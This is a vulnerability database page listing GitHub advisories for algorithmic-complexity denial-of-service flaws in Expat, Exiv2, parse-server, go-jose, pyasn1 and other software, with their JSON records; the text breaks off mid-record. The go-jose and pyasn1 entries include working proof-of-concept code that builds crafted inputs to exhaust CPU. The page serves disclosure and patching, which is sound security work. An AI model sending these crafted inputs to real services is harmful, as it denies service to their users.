CWE-407
Allowed-with-ReviewInefficient Algorithmic Complexity
Abstraction: Class · Status: Incomplete
An algorithm in a product has an inefficient worst-case computational complexity that may be detrimental to system performance and can be triggered by an attacker, typically using crafted manipulations that ensure that the worst case is being reached.
584 vulnerabilities reference this CWE, most recent first.
GHSA-M3RP-25VQ-JFCV
Vulnerability from github – Published: 2026-08-18 15:31 – Updated: 2026-11-10 15:32Expat through 2.8.3 contains a denial of service vulnerability caused by quadratic algorithmic complexity in the storeAtts() function in xmlparse.c, where processing N specified attributes with non-normalized values triggers an O(N^2) linear scan of elementType->defaultAtts to determine CDATA status. A remote unauthenticated attacker can supply a single well-formed XML document of a few megabytes to an application parsing untrusted XML to cause excessive CPU consumption, resulting in denial of service without requiring authentication, external entity resolution, or non-default parser options.
{
"affected": [],
"aliases": [
"CVE-2026-66046"
],
"database_specific": {
"cwe_ids": [
"CWE-407"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-18T15:16:57Z",
"severity": "HIGH"
},
"details": "Expat through 2.8.3 contains a denial of service vulnerability caused by quadratic algorithmic complexity in the storeAtts() function in xmlparse.c, where processing N specified attributes with non-normalized values triggers an O(N^2) linear scan of elementType-\u003edefaultAtts to determine CDATA status. A remote unauthenticated attacker can supply a single well-formed XML document of a few megabytes to an application parsing untrusted XML to cause excessive CPU consumption, resulting in denial of service without requiring authentication, external entity resolution, or non-default parser options.",
"id": "GHSA-m3rp-25vq-jfcv",
"modified": "2026-11-10T15:32:56Z",
"published": "2026-08-18T15:31:47Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-66046"
},
{
"type": "WEB",
"url": "https://github.com/libexpat/libexpat/pull/1321"
},
{
"type": "WEB",
"url": "https://cert-portal.siemens.com/productcert/html/ssa-457936.html"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/expat-denial-of-service-via-storeatts-quadratic-complexity"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-M54Q-MM9W-FP6G
Vulnerability from github – Published: 2025-08-29 14:59 – Updated: 2025-08-29 21:04Impact
A denial-of-service was found in Exiv2 version v0.28.5: a quadratic algorithm in the ICC profile parsing code in jpegBase::readMetadata() can cause Exiv2 to run for a long time. Exiv2 is a command-line utility and C++ library for reading, writing, deleting, and modifying the metadata of image files. The denial-of-service is triggered when Exiv2 is used to read the metadata of a crafted jpg image file.
Patches
The bug is fixed in version v0.28.6.
References
Issue: https://github.com/Exiv2/exiv2/issues/3333 Fixes: https://github.com/Exiv2/exiv2/pull/3335 (main branch), https://github.com/Exiv2/exiv2/pull/3345 (0.28.x branch)
For more information
Please see our security policy for information about Exiv2 security.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "Exiv2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "0.17.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-55304"
],
"database_specific": {
"cwe_ids": [
"CWE-407"
],
"github_reviewed": true,
"github_reviewed_at": "2025-08-29T14:59:37Z",
"nvd_published_at": "2025-08-29T15:15:35Z",
"severity": "LOW"
},
"details": "### Impact\nA denial-of-service was found in Exiv2 version v0.28.5: a quadratic algorithm in the ICC profile parsing code in `jpegBase::readMetadata()` can cause Exiv2 to run for a long time. Exiv2 is a command-line utility and C++ library for reading, writing, deleting, and modifying the metadata of image files. The denial-of-service is triggered when Exiv2 is used to read the metadata of a crafted jpg image file.\n\n### Patches\nThe bug is fixed in version v0.28.6.\n\n### References\nIssue: https://github.com/Exiv2/exiv2/issues/3333\nFixes: https://github.com/Exiv2/exiv2/pull/3335 (main branch), https://github.com/Exiv2/exiv2/pull/3345 (0.28.x branch)\n\n### For more information\nPlease see our [security policy](https://github.com/Exiv2/exiv2/security/policy) for information about Exiv2 security.",
"id": "GHSA-m54q-mm9w-fp6g",
"modified": "2025-08-29T21:04:02Z",
"published": "2025-08-29T14:59:37Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Exiv2/exiv2/security/advisories/GHSA-m54q-mm9w-fp6g"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-55304"
},
{
"type": "WEB",
"url": "https://github.com/Exiv2/exiv2/issues/3333"
},
{
"type": "WEB",
"url": "https://github.com/Exiv2/exiv2/pull/3335"
},
{
"type": "WEB",
"url": "https://github.com/Exiv2/exiv2/pull/3345"
},
{
"type": "PACKAGE",
"url": "https://github.com/Exiv2/exiv2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:A/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Exiv2 has quadratic performance in ICC profile parsing in JpegBase::readMetadata"
}
GHSA-M6HH-VP2V-RM5M
Vulnerability from github – Published: 2025-02-20 03:32 – Updated: 2025-02-20 03:32The hash table used to manage connections in picoquic before b80fd3f uses a weak hash function, allowing remote attackers to cause a considerable CPU load on the server (a Hash DoS attack) by initiating connections with colliding Source Connection IDs (SCIDs).
{
"affected": [],
"aliases": [
"CVE-2025-24946"
],
"database_specific": {
"cwe_ids": [
"CWE-407"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-02-20T03:15:12Z",
"severity": "MODERATE"
},
"details": "The hash table used to manage connections in picoquic before b80fd3f uses a weak hash function, allowing remote attackers to cause a considerable CPU load on the server (a Hash DoS attack) by initiating connections with colliding Source Connection IDs (SCIDs).",
"id": "GHSA-m6hh-vp2v-rm5m",
"modified": "2025-02-20T03:32:03Z",
"published": "2025-02-20T03:32:03Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-24946"
},
{
"type": "WEB",
"url": "https://github.com/private-octopus/picoquic/commit/b80fd3f5903279ae3e7714ee4109363d9ab4491a"
},
{
"type": "WEB",
"url": "https://github.com/ncc-pbottine/QUIC-Hash-Dos-Advisory"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-MFJ6-6P54-M98C
Vulnerability from github – Published: 2026-03-31 23:49 – Updated: 2026-03-31 23:49Impact
The GraphQL query complexity validator can be exploited to cause a denial-of-service by sending a crafted query with binary fan-out fragment spreads. A single unauthenticated request can block the Node.js event loop for seconds, denying service to all concurrent users. This only affects deployments that have enabled the requestComplexity.graphQLDepth or requestComplexity.graphQLFields configuration options.
Patches
The fix replaces the per-branch fragment traversal with memoized fragment computation, reducing the traversal from exponential O(2^N) to linear O(N) time. Additionally, early termination aborts the traversal as soon as configured limits are exceeded.
Workarounds
Disable GraphQL complexity limits by setting requestComplexity.graphQLDepth and requestComplexity.graphQLFields to -1 (the default).
Resources
- GitHub security advisory: https://github.com/parse-community/parse-server/security/advisories/GHSA-mfj6-6p54-m98c
- Fix Parse Server 9: https://github.com/parse-community/parse-server/pull/10344
- Fix Parse Server 8: https://github.com/parse-community/parse-server/pull/10345
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "parse-server"
},
"ranges": [
{
"events": [
{
"introduced": "9.0.0"
},
{
"fixed": "9.7.0-alpha.12"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "parse-server"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "8.6.68"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-34573"
],
"database_specific": {
"cwe_ids": [
"CWE-407"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-31T23:49:18Z",
"nvd_published_at": "2026-03-31T16:16:33Z",
"severity": "HIGH"
},
"details": "### Impact\n\nThe GraphQL query complexity validator can be exploited to cause a denial-of-service by sending a crafted query with binary fan-out fragment spreads. A single unauthenticated request can block the Node.js event loop for seconds, denying service to all concurrent users. This only affects deployments that have enabled the `requestComplexity.graphQLDepth` or `requestComplexity.graphQLFields` configuration options.\n\n### Patches\n\nThe fix replaces the per-branch fragment traversal with memoized fragment computation, reducing the traversal from exponential O(2^N) to linear O(N) time. Additionally, early termination aborts the traversal as soon as configured limits are exceeded.\n\n### Workarounds\n\nDisable GraphQL complexity limits by setting `requestComplexity.graphQLDepth` and `requestComplexity.graphQLFields` to `-1` (the default).\n\n### Resources\n\n- GitHub security advisory: https://github.com/parse-community/parse-server/security/advisories/GHSA-mfj6-6p54-m98c\n- Fix Parse Server 9: https://github.com/parse-community/parse-server/pull/10344\n- Fix Parse Server 8: https://github.com/parse-community/parse-server/pull/10345",
"id": "GHSA-mfj6-6p54-m98c",
"modified": "2026-03-31T23:49:18Z",
"published": "2026-03-31T23:49:18Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/parse-community/parse-server/security/advisories/GHSA-mfj6-6p54-m98c"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34573"
},
{
"type": "WEB",
"url": "https://github.com/parse-community/parse-server/pull/10344"
},
{
"type": "WEB",
"url": "https://github.com/parse-community/parse-server/pull/10345"
},
{
"type": "WEB",
"url": "https://github.com/parse-community/parse-server/commit/ea15412795f34594cc8a674fe858d445675e0295"
},
{
"type": "WEB",
"url": "https://github.com/parse-community/parse-server/commit/f759bda075298ec44e2b4fb57659a0c56620483b"
},
{
"type": "PACKAGE",
"url": "https://github.com/parse-community/parse-server"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "parse-server has GraphQL complexity validator exponential fragment traversal DoS"
}
GHSA-MFV9-QX66-GXM4
Vulnerability from github – Published: 2026-09-14 12:31 – Updated: 2026-09-14 12:31Mattermost versions 11.9.x <= 11.9.0, 11.8.x <= 11.8.4, 11.7.x <= 11.7.7, 10.11.x <= 10.11.22 fail to parse Markdown autolinks with unmatched trailing closing parentheses in linear time, which allows an authenticated user with permission to create posts to cause excessive server CPU consumption and degrade availability for other users via specially crafted post or message attachment content. Mattermost Advisory ID: MMSA-2026-00703
{
"affected": [],
"aliases": [
"CVE-2026-12882"
],
"database_specific": {
"cwe_ids": [
"CWE-407"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-14T11:17:03Z",
"severity": "MODERATE"
},
"details": "Mattermost versions 11.9.x \u003c= 11.9.0, 11.8.x \u003c= 11.8.4, 11.7.x \u003c= 11.7.7, 10.11.x \u003c= 10.11.22 fail to parse Markdown autolinks with unmatched trailing closing parentheses in linear time, which allows an authenticated user with permission to create posts to cause excessive server CPU consumption and degrade availability for other users via specially crafted post or message attachment content. Mattermost Advisory ID: MMSA-2026-00703",
"id": "GHSA-mfv9-qx66-gxm4",
"modified": "2026-09-14T12:31:37Z",
"published": "2026-09-14T12:31:37Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-12882"
},
{
"type": "WEB",
"url": "https://mattermost.com/security-updates"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-MGCC-CWW5-FP2Q
Vulnerability from github – Published: 2026-10-27 19:01 – Updated: 2026-10-27 19:01Summary
A crafted RSA key inside a JWK can cause operations that parse JWKs to consume excess CPU.
Details
go-jose does not check for bounds on RSA modulus and primes before validating them. Values are passed directly to crypto/rsa.PrivateKey.Validate(). On Go 1.24+, this takes cubic time complexity with respect to the RSA modulus and primes. This allows an attacker to supply a crafted JWK to consume excessive CPU.
https://github.com/go-jose/go-jose/blob/5b371aecfcf7aabe06068d67da4344591ecddc76/jwk.go#L655-L700
Proof of concept
No special configuration of go-jose is required to reproduce this vulnerability.
package main
import (
"encoding/base64"
"encoding/json"
"fmt"
"math/big"
"time"
"github.com/go-jose/go-jose/v4"
)
func main() {
// The RSA parameters can be complete junk. The CPU cost is in validating them.
primeBits := 16384
p := new(big.Int).Lsh(big.NewInt(1), uint(primeBits-1))
p.SetBit(p, 0, 1)
n := new(big.Int).Lsh(big.NewInt(1), 2048)
e := big.NewInt(65537)
d := big.NewInt(3)
q := big.NewInt(3)
jwk := map[string]string{
"kty": "RSA",
"n": base64.RawURLEncoding.EncodeToString(n.Bytes()),
"e": base64.RawURLEncoding.EncodeToString(e.Bytes()),
"d": base64.RawURLEncoding.EncodeToString(d.Bytes()),
"p": base64.RawURLEncoding.EncodeToString(p.Bytes()),
"q": base64.RawURLEncoding.EncodeToString(q.Bytes()),
}
protected := map[string]any{
"alg": "RS256",
"jwk": jwk,
}
protJSON, _ := json.Marshal(protected)
jws := map[string]string{
"protected": base64.RawURLEncoding.EncodeToString(protJSON),
"payload": base64.RawURLEncoding.EncodeToString([]byte(`{}`)),
"signature": base64.RawURLEncoding.EncodeToString([]byte("not-a-real-signature")),
}
jwsJSON, _ := json.Marshal(jws)
start := time.Now()
_, err := jose.ParseSigned(string(jwsJSON), []jose.SignatureAlgorithm{jose.RS256})
elapsed := time.Since(start)
fmt.Printf("prime bits: %d\n", primeBits)
fmt.Printf("parse time: %s\n", elapsed)
fmt.Printf("parse error: %v\n", err)
}
Impact
Denial of service vulnerability. Any application that uses go-jose to parse JWKs from untrusted sources is affected and should patch immediately.
Credits
Reported by Yuval Saggie and Mor Weinberger (powered by Echo Frontier)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.1.5"
},
"package": {
"ecosystem": "Go",
"name": "github.com/go-jose/go-jose/v4"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.6"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/go-jose/go-jose/v3"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "3.0.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-116587"
],
"database_specific": {
"cwe_ids": [
"CWE-407",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-27T19:01:30Z",
"nvd_published_at": "2026-10-26T22:16:55Z",
"severity": "HIGH"
},
"details": "### Summary\n\nA crafted RSA key inside a JWK can cause operations that parse JWKs to consume excess CPU.\n\n### Details\n\ngo-jose does not check for bounds on RSA modulus and primes before validating them. Values are passed directly to `crypto/rsa.PrivateKey.Validate()`. On Go 1.24+, this takes cubic time complexity with respect to the RSA modulus and primes. This allows an attacker to supply a crafted JWK to consume excessive CPU.\n\nhttps://github.com/go-jose/go-jose/blob/5b371aecfcf7aabe06068d67da4344591ecddc76/jwk.go#L655-L700\n\n### Proof of concept\n\nNo special configuration of go-jose is required to reproduce this vulnerability.\n\n```go\npackage main\n\nimport (\n\t\"encoding/base64\"\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"math/big\"\n\t\"time\"\n\n\t\"github.com/go-jose/go-jose/v4\"\n)\n\nfunc main() {\n\t// The RSA parameters can be complete junk. The CPU cost is in validating them.\n\tprimeBits := 16384\n\tp := new(big.Int).Lsh(big.NewInt(1), uint(primeBits-1))\n\tp.SetBit(p, 0, 1)\n\tn := new(big.Int).Lsh(big.NewInt(1), 2048)\n\te := big.NewInt(65537)\n\td := big.NewInt(3)\n\tq := big.NewInt(3)\n\n\tjwk := map[string]string{\n\t\t\"kty\": \"RSA\",\n\t\t\"n\": base64.RawURLEncoding.EncodeToString(n.Bytes()),\n\t\t\"e\": base64.RawURLEncoding.EncodeToString(e.Bytes()),\n\t\t\"d\": base64.RawURLEncoding.EncodeToString(d.Bytes()),\n\t\t\"p\": base64.RawURLEncoding.EncodeToString(p.Bytes()),\n\t\t\"q\": base64.RawURLEncoding.EncodeToString(q.Bytes()),\n\t}\n\n\tprotected := map[string]any{\n\t\t\"alg\": \"RS256\",\n\t\t\"jwk\": jwk,\n\t}\n\tprotJSON, _ := json.Marshal(protected)\n\n\tjws := map[string]string{\n\t\t\"protected\": base64.RawURLEncoding.EncodeToString(protJSON),\n\t\t\"payload\": base64.RawURLEncoding.EncodeToString([]byte(`{}`)),\n\t\t\"signature\": base64.RawURLEncoding.EncodeToString([]byte(\"not-a-real-signature\")),\n\t}\n\tjwsJSON, _ := json.Marshal(jws)\n\n\tstart := time.Now()\n\t_, err := jose.ParseSigned(string(jwsJSON), []jose.SignatureAlgorithm{jose.RS256})\n\telapsed := time.Since(start)\n\n\tfmt.Printf(\"prime bits: %d\\n\", primeBits)\n\tfmt.Printf(\"parse time: %s\\n\", elapsed)\n\tfmt.Printf(\"parse error: %v\\n\", err)\n}\n```\n\n### Impact\n\nDenial of service vulnerability. Any application that uses go-jose to parse JWKs from untrusted sources is affected and should patch immediately.\n\n### Credits\n\nReported by Yuval Saggie and Mor Weinberger (powered by Echo Frontier)",
"id": "GHSA-mgcc-cww5-fp2q",
"modified": "2026-10-27T19:01:30Z",
"published": "2026-10-27T19:01:30Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/go-jose/go-jose/security/advisories/GHSA-mgcc-cww5-fp2q"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-116587"
},
{
"type": "WEB",
"url": "https://github.com/go-jose/go-jose/commit/a0111f82742fa92bceec9ede40845e73319e6230"
},
{
"type": "PACKAGE",
"url": "https://github.com/go-jose/go-jose"
},
{
"type": "WEB",
"url": "https://github.com/go-jose/go-jose/releases/tag/v4.1.6"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Go JOSE: DoS when parsing JWKs that contain RSA keys"
}
GHSA-MH25-X5HQ-WRQP
Vulnerability from github – Published: 2026-08-06 20:41 – Updated: 2026-08-06 20:41Impact
UniqueSlugNormalizer::normalize() makes each slug document-unique by searching for an unused numeric suffix, but restarts that search from 1 on every collision. The k-th heading that collapses to the same base slug performs k−1 array lookups, so K colliding slugs cost Σ(k−1) = O(K²). An attacker can force every heading onto a single base slug trivially — many empty ATX headings, identical heading text, or punctuation-only headings that normalize to the empty string.
The path is reached whenever the shared slug normalizer runs over attacker-controlled text. That happens when HeadingPermalinkExtension is registered (its HeadingPermalinkProcessor normalizes every heading), independently through FootnoteExtension (its AnonymousFootnoteRefParser normalizes every ^[label] reference), and on any TableOfContentsExtension site (which requires HeadingPermalinkExtension to be co-registered). The default slug_normalizer/unique setting (UniqueSlugNormalizerInterface::PER_DOCUMENT) accumulates collisions across the whole document. No authentication is required — a small document body turns into seconds of CPU and denies service. Availability impact only. UniqueSlugNormalizer was introduced in 2.0.0 (first shipped in 2.0.0-beta1, May 2021); the 1.x heading-permalink slug generator performed no de-duplication and is not affected. All 2.x releases (including 2.8.x) are affected.
Workarounds
Integrators who cannot upgrade immediately can:
- Set
slug_normalizer/uniquetofalse/UniqueSlugNormalizerInterface::DISABLED, which stops the de-duplication scan entirely — at the cost of losing id uniqueness (colliding headings then share an anchor). - Disable
HeadingPermalinkExtension(andTableOfContentsExtension, which depends on it), andFootnoteExtensionwhere anonymous footnotes reach the same normalizer, for untrusted Markdown. - Cap the accepted document size / heading count upstream so K cannot reach the quadratic danger zone.
Each of these trades off functionality or correctness; upgrading to the patched release (which removes the quadratic behavior while keeping unique ids and identical output) is the recommended remediation.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "league/commonmark"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0"
},
{
"fixed": "2.9.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-407"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-06T20:41:45Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Impact\n\n`UniqueSlugNormalizer::normalize()` makes each slug document-unique by searching for an unused numeric suffix, but **restarts that search from `1` on every collision**. The k-th heading that collapses to the same base slug performs k\u22121 array lookups, so K colliding slugs cost \u03a3(k\u22121) = **O(K\u00b2)**. An attacker can force every heading onto a single base slug trivially \u2014 many empty ATX headings, identical heading text, or punctuation-only headings that normalize to the empty string.\n\nThe path is reached whenever the shared slug normalizer runs over attacker-controlled text. That happens when `HeadingPermalinkExtension` is registered (its `HeadingPermalinkProcessor` normalizes every heading), independently through `FootnoteExtension` (its `AnonymousFootnoteRefParser` normalizes every `^[label]` reference), and on any `TableOfContentsExtension` site (which requires `HeadingPermalinkExtension` to be co-registered). The default `slug_normalizer/unique` setting (`UniqueSlugNormalizerInterface::PER_DOCUMENT`) accumulates collisions across the whole document. No authentication is required \u2014 a small document body turns into seconds of CPU and denies service. Availability impact only. **`UniqueSlugNormalizer` was introduced in 2.0.0 (first shipped in 2.0.0-beta1, May 2021); the 1.x heading-permalink slug generator performed no de-duplication and is not affected. All 2.x releases (including 2.8.x) are affected.**\n\n### Workarounds\n\nIntegrators who cannot upgrade immediately can:\n\n- **Set `slug_normalizer/unique` to `false` / `UniqueSlugNormalizerInterface::DISABLED`**, which stops the de-duplication scan entirely \u2014 at the cost of losing id uniqueness (colliding headings then share an anchor).\n- **Disable `HeadingPermalinkExtension`** (and `TableOfContentsExtension`, which depends on it), and `FootnoteExtension` where anonymous footnotes reach the same normalizer, for untrusted Markdown.\n- **Cap the accepted document size / heading count upstream** so K cannot reach the quadratic danger zone.\n\nEach of these trades off functionality or correctness; upgrading to the patched release (which removes the quadratic behavior while keeping unique ids and identical output) is the recommended remediation.",
"id": "GHSA-mh25-x5hq-wrqp",
"modified": "2026-08-06T20:41:45Z",
"published": "2026-08-06T20:41:45Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/thephpleague/commonmark/security/advisories/GHSA-mh25-x5hq-wrqp"
},
{
"type": "PACKAGE",
"url": "https://github.com/thephpleague/commonmark"
},
{
"type": "WEB",
"url": "https://github.com/thephpleague/commonmark/releases/tag/2.9.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "league/commonmark: Denial of service via colliding heading slugs"
}
GHSA-MJRQ-MXWP-CH57
Vulnerability from github – Published: 2026-10-12 18:31 – Updated: 2026-10-12 18:31Gitoxide gix-mailmap before 0.35.0 contains a denial of service vulnerability that allows attackers to exhaust CPU through quadratic-time parsing in Snapshot::from_bytes. Attackers can commit a crafted .mailmap with descending-ordered entries forcing repeated front inserts, blocking workers running log, blame, or shortlog for minutes.
{
"affected": [],
"aliases": [
"CVE-2026-109348"
],
"database_specific": {
"cwe_ids": [
"CWE-407"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-10-12T17:17:31Z",
"severity": "MODERATE"
},
"details": "Gitoxide gix-mailmap before 0.35.0 contains a denial of service vulnerability that allows attackers to exhaust CPU through quadratic-time parsing in Snapshot::from_bytes. Attackers can commit a crafted .mailmap with descending-ordered entries forcing repeated front inserts, blocking workers running log, blame, or shortlog for minutes.",
"id": "GHSA-mjrq-mxwp-ch57",
"modified": "2026-10-12T18:31:51Z",
"published": "2026-10-12T18:31:51Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/GitoxideLabs/gitoxide/security/advisories/GHSA-pmpw-wwcm-r8rc"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-109348"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/gitoxide-gix-mailmap-before-0.35.0-cpu-denial-of-service-via-mailmap-parsing"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-MM57-4V3P-RCHX
Vulnerability from github – Published: 2026-10-30 23:06 – Updated: 2026-10-30 23:06Summary
In pyasn1 0.6.4 and earlier, decoding a binary-encoded ASN.1 REAL with a large mantissa can consume CPU time quadratic in the mantissa length. The BER, CER, and DER decoders all use the affected RealPayloadDecoder. An application is exposed when it passes attacker-controlled ASN.1 containing a REAL value to one of these decoders, either without an asn1Spec or with a schema that includes REAL. The work occurs inside decode(); the application does not need to convert, print, or otherwise use the resulting REAL object.
This is distinct from CVE-2026-59886, which concerns converting an already-decoded REAL to a Python float. That issue was fixed in 0.6.4 and its advisory states that decoding alone does not trigger it.
Root cause and affected components
For binary REAL values, RealPayloadDecoder.valueDecoder in v0.6.4 builds the mantissa one octet at a time:
p = 0
while chunk:
p <<= 8
p |= chunk[0]
chunk = chunk[1:]
Each shift processes an integer that grows with the mantissa; with byte strings, each slice also copies the remaining suffix. Repeating both operations for every octet makes decoding quadratic in mantissa size. The decoder's eight-octet length-field limit does not impose a practical mantissa-size limit for the inputs demonstrated below. CER and DER reuse the BER REAL payload decoder, so all three paths reach this loop.
The vulnerable loop is present in every available repository release tag inspected, from v0.2.1 through v0.6.4. Runtime measurements below were made on v0.6.4; older releases were checked for the loop, not benchmarked individually.
Impact
A comparatively small REAL value can hold a decoder worker on one CPU core for seconds or longer. The attacker must be able to supply data that the application sends to an affected decoder, and application-level input limits may reduce exposure. The demonstrated effect is CPU exhaustion during decoding; this advisory does not assert a network endpoint, unauthenticated access, or an affected downstream application by itself.
Reproduction and evidence
The following example uses pyasn1 0.6.4. The 0x09 tag identifies REAL; 0x80 0x00 selects a positive, base-2 binary value with a one-octet zero exponent, followed by a large mantissa. It exercises decode() only.
import time
from pyasn1.codec.ber import decoder as ber
from pyasn1.codec.cer import decoder as cer
from pyasn1.codec.der import decoder as der
def real_value(mantissa_octets):
content = b"\x80\x00" + b"\xff" * mantissa_octets
length = len(content).to_bytes(3, "big")
return b"\x09\x83" + length + content
for codec in (ber, cer, der):
for size in (50_000, 100_000, 200_000):
substrate = real_value(size)
started = time.process_time()
value, rest = codec.decode(substrate)
print(codec.__name__, size, time.process_time() - started)
assert not rest
assert tuple(value)[1:] == (2, 0)
The original report measured the following BER CPU times on repository commit aa05757. That commit is later than the official v0.6.4 tag; the vulnerable loop is identical in the tagged release.
| Mantissa size | Reporter's BER CPU time |
|---|---|
| 50,000 octets | 0.328 s |
| 100,000 octets | 1.299 s |
| 200,000 octets | 6.043 s |
| 400,000 octets | 24.095 s |
The same report measured 5.645 s for a 200,000-octet mantissa through DER.
A separate local reproduction on the official v0.6.4 tag (d43496f, CPython 3.14.8, macOS arm64) measured BER at 0.209 s, 0.884 s, and 3.451 s for 50,000, 100,000, and 200,000 mantissa octets respectively. CER and DER each took about 0.89 s at 100,000 octets. These are machine-specific measurements; the repeated near-fourfold cost for doubled input is the relevant result. Neither reproduction calls float(), str(), or prettyPrint().
Fix
pyasn1 0.6.5 replaces the per-octet shift and slice loop with one int.from_bytes(bytes(chunk), "big") conversion. Sign, scale, exponent, and the decoded REAL tuple are preserved. The fix is in the shared BER payload decoder and therefore covers BER, CER, and DER. A local check of the 0.6.5 candidate decoded a 200,000-octet mantissa correctly through all three codecs; the check does not establish behavior for every application using REAL.
Workarounds
Upgrade to pyasn1 0.6.5. Until then, reject or strictly limit attacker-controlled ASN.1 input that may contain REAL values before passing it to pyasn1. The appropriate size limit depends on the application's available CPU time and request volume.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.6.4"
},
"package": {
"ecosystem": "PyPI",
"name": "pyasn1"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.6.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-119197"
],
"database_specific": {
"cwe_ids": [
"CWE-407"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-30T23:06:46Z",
"nvd_published_at": "2026-10-29T20:17:30Z",
"severity": "HIGH"
},
"details": "## Summary\n\nIn pyasn1 0.6.4 and earlier, decoding a binary-encoded ASN.1 REAL with a large mantissa can consume CPU time quadratic in the mantissa length. The BER, CER, and DER decoders all use the affected `RealPayloadDecoder`. An application is exposed when it passes attacker-controlled ASN.1 containing a REAL value to one of these decoders, either without an `asn1Spec` or with a schema that includes REAL. The work occurs inside `decode()`; the application does not need to convert, print, or otherwise use the resulting REAL object.\n\nThis is distinct from [CVE-2026-59886](https://github.com/advisories/GHSA-hm4w-wwcw-mr6r), which concerns converting an already-decoded REAL to a Python float. That issue was fixed in 0.6.4 and its advisory states that decoding alone does not trigger it.\n\n## Root cause and affected components\n\nFor binary REAL values, [`RealPayloadDecoder.valueDecoder` in v0.6.4](https://github.com/pyasn1/pyasn1/blob/v0.6.4/pyasn1/codec/ber/decoder.py#L535-L603) builds the mantissa one octet at a 